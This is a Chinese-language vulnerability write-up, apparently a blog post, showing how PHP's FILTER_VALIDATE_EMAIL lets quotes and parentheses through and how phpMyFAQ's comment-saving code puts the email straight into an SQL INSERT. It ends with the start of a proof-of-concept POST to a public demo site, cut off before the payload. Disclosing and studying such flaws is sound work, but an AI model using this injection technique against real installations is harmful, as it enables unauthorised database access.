PHPMyFAQ-SQL-Injection-With-FILTER_VALIDATE_EMAIL

去年遇到一套这个程序而挖的, 主要也就是因为开发者过于的相信php自带的FILTER_VALIDATE_EMAIL邮箱验证。

在使用了filter_var($email,FILTER_VALIDATE_EMAIL);

验证邮箱后, 没有进一步做处理 直接格式化字符串进了sql语句导致了注入。

FILTER_VALIDATE_EMAIL

本地调试版本: PHP5.4.5

首先来看看PHP的filter_var($email,FILTER_VALIDATE_EMAIL);是如何来验证邮箱是否合法的。

https://github.com/php-src/php/blob/2b86a89193c151b5e9b098cc9aa8411abd7f30ea/ext/filter/filter.c

PHP_FUNCTION(filter_var) { zend_long filter = FILTER_DEFAULT; zval *filter_args = NULL, *data; if (zend_parse_parameters(ZEND_NUM_ARGS(), "z/|lz", &data, &filter, &filter_args) == FAILURE) { return; } if (!PHP_FILTER_ID_EXISTS(filter)) { RETURN_FALSE; } ZVAL_DUP(return_value, data); php_filter_call(return_value, filter, filter_args, 1, FILTER_REQUIRE_SCALAR); }

php_filter_call里调用php_zval_filter,

static void php_filter_call(zval *filtered, zend_long filter, zval *filter_args,const int copy, zend_long filter_flags)/* {{{ */ { ... php_zval_filter(filtered, filter, filter_flags, options, charset, copy); ... } static void php_zval_filter(zval *value, zend_long filter, zend_long flags, zval *options,char* charset, zend_bool copy)/* {{{ */ { filter_list_entry filter_func; filter_func = php_find_filter(filter); if (!filter_func.id) { /* Find default filter */ filter_func = php_find_filter(FILTER_DEFAULT); } if (copy) { SEPARATE_ZVAL(value); } ...... convert_to_string(value); filter_func.function(value, flags, options, charset);

根据id, 查找到filter_func, 然后调用指定的方法。

filter_var第二个参数为FILTER_VALIDATE_EMAIL时, 调用的是 php_filter_validate_email方法。

https://github.com/php-src/php/blob/PHP-5.4.5/ext/filter/logical_filters.c

void php_filter_validate_email(PHP_INPUT_FILTER_PARAM_DECL) { const char regexp[] = "/^(?!(?:(?:\\x22?\\x5C[\\x00-\\x7E]\\x22?)|(?:\\x22?[^\\x5C\\x22]\\x22?)){255,})(?!(?:(?:\\x22?\\x5C[\\x00-\\x7E]\\x22?)|(?:\\x22?[^\\x5C\\x22]\\x22?)){65,}@)(?:(?:[\\x21\\x23-\\x27\\x2A\\x2B\\x2D\\x2F-\\x39\\x3D\\x3F\\x5E-\\x7E]+)|(?:\\x22(?:[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F\\x21\\x23-\\x5B\\x5D-\\x7F]|(?:\\x5C[\\x00-\\x7F]))*\\x22))(?:\\.(?:(?:[\\x21\\x23-\\x27\\x2A\\x2B\\x2D\\x2F-\\x39\\x3D\\x3F\\x5E-\\x7E]+)|(?:\\x22(?:[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F\\x21\\x23-\\x5B\\x5D-\\x7F]|(?:\\x5C[\\x00-\\x7F]))*\\x22)))*@(?:(?:(?!.*[^.]{64,})(?:(?:(?:xn--)?[a-z0-9]+(?:-+[a-z0-9]+)*\\.){1,126}){1,}(?:(?:[a-z][a-z0-9]*)|(?:(?:xn--)[a-z0-9]+))(?:-+[a-z0-9]+)*)|(?:\\[(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){7})|(?:(?!(?:.*[a-f0-9][:\\]]){7,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?)))|(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){5}:)|(?:(?!(?:.*[a-f0-9]:){5,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3}:)?)))?(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))(?:\\.(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))){3}))\\]))$/iD"; pcre *re = NULL; pcre_extra *pcre_extra = NULL; int preg_options = 0; int ovector[150]; /* Needs to be a multiple of 3 */ int matches; /* The maximum length of an e-mail address is 320 octets, per RFC 2821. */ if (Z_STRLEN_P(value) > 320) { RETURN_VALIDATION_FAILED } re = pcre_get_compiled_regex((char *)regexp, &pcre_extra, &preg_options TSRMLS_CC); if (!re) { RETURN_VALIDATION_FAILED } matches = pcre_exec(re, NULL, Z_STRVAL_P(value), Z_STRLEN_P(value), 0, 0, ovector, 3); /* 0 means that the vector is too small to hold all the captured substring offsets */ if (matches < 0) { RETURN_VALIDATION_FAILED } }

去年提交这个漏洞的时候, 一直不知道怎么才能插入括号, 那时候用的双参数拼接的方法注入。

不过看这正则可以发现,

如果email的local part不以双引号开头和结尾, 允许的字符为

\x21\x23-\x27\x2A\x2B\x2D\x2F-\x39\x3D\x3F\x5E-\x7E

如果以双引号开头和结尾, 允许的字符为

\x01-\x08\x0B\x0C\x0E-\x1F\x21\x23-\x5B\x5D-\x7F

且如果前面的字符为\x5c, 后面紧跟的字符允许范围为 \x00-\x7F。

在local part以双引号开头和结尾这种情况中, 括号\x28 \x29在允许的字符范围内, 所以可以把括号写到双引号中。

虽然php_filter_validate_email允许邮箱最长为320个字符, 但是local part被正则限制到最多64个字符。

漏洞分析

(直接复制当初的邮件了~~~)

In the latest version of phpMyFAQ, there is a SQL Injection vulnerability in ajaxservice.php.

case 'savecomment': if (!$faqConfig->get('records.allowCommentsForGuests') && !$user->perm->checkRight($user->getUserId(), 'addcomment')) { $message = array('error' => $PMF_LANG['err_NotAuth']); break; } $faq = new PMF_Faq($faqConfig); $oComment = new PMF_Comment($faqConfig); $category = new PMF_Category($faqConfig); $type = PMF_Filter::filterInput(INPUT_POST, 'type', FILTER_SANITIZE_STRING); $faqid = PMF_Filter::filterInput(INPUT_POST, 'id', FILTER_VALIDATE_INT, 0); $newsid = PMF_Filter::filterInput(INPUT_POST, 'newsid', FILTER_VALIDATE_INT); $username = PMF_Filter::filterInput(INPUT_POST, 'user', FILTER_SANITIZE_STRING); $mail = PMF_Filter::filterInput(INPUT_POST, 'mail', FILTER_VALIDATE_EMAIL); $comment = PMF_Filter::filterInput(INPUT_POST, 'comment_text', FILTER_SANITIZE_SPECIAL_CHARS);

The email variable uses FILTER_VALIDATE_EMAIL to validate, but FILTER_VALIDATE_EMAIL lter cannot completely prevent SQL Injection. With this lter, single quotes and some special characters can still be used, that’s enough for SQL Injection.

$commentData = [ 'record_id' => $id, 'type' => $type, 'username' => $username, 'usermail' => $mail, 'comment' => nl2br($comment), 'date' => $_SERVER['REQUEST_TIME'], 'helped' => '', ];

The mail variable is loaded into the commentData variable,

$oComment->addComment($commentData)

and the commentData variable is inserted into the database directly, thus leads to SQL Injection vulnerability.

public function addComment(Array $commentData) { $query = sprintf(" INSERT INTO %sfaqcomments VALUES (%d, %d, '%s', '%s', '%s', '%s', %d,'%s')", PMF_Db::getTablePrefix(), $this->config->getDb()->nextId(PMF_Db::getTablePrefix().'faqcom ments','id_comment'), $commentData['record_id'], $commentData['type'], $commentData['username'], $commentData['usermail'], $commentData['comment'], $commentData['date'], $commentData['helped'] ); if (!$this->config->getDb()->query($query)) { return false; } return true; }

test the phpMyFAQ demo.

Firstly, add a question and got the question id.

http://denholm.demo.phpmyfaq.de/index.php?sid=620&lang=zh&action=add&cat=2

Secondly ,

POST /ajaxservice.php?action=savecomment HTTP/1.1 Host: denholm.demo.phpmyfaq.de Proxy-Connection: keep-alive Content-Length: 135 Accept: application/json, text/javascript, */*; q=0.01 Origin: http://denholm.demo.phpmyfaq.de X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit /537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Referer: http://denholm.demo.phpmyfaq.de/index.php?action=artikel&cat=1&id=2&artlang=zh Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,it;q=0.4 id=5=zh&type=faq&user=xiaoyu111&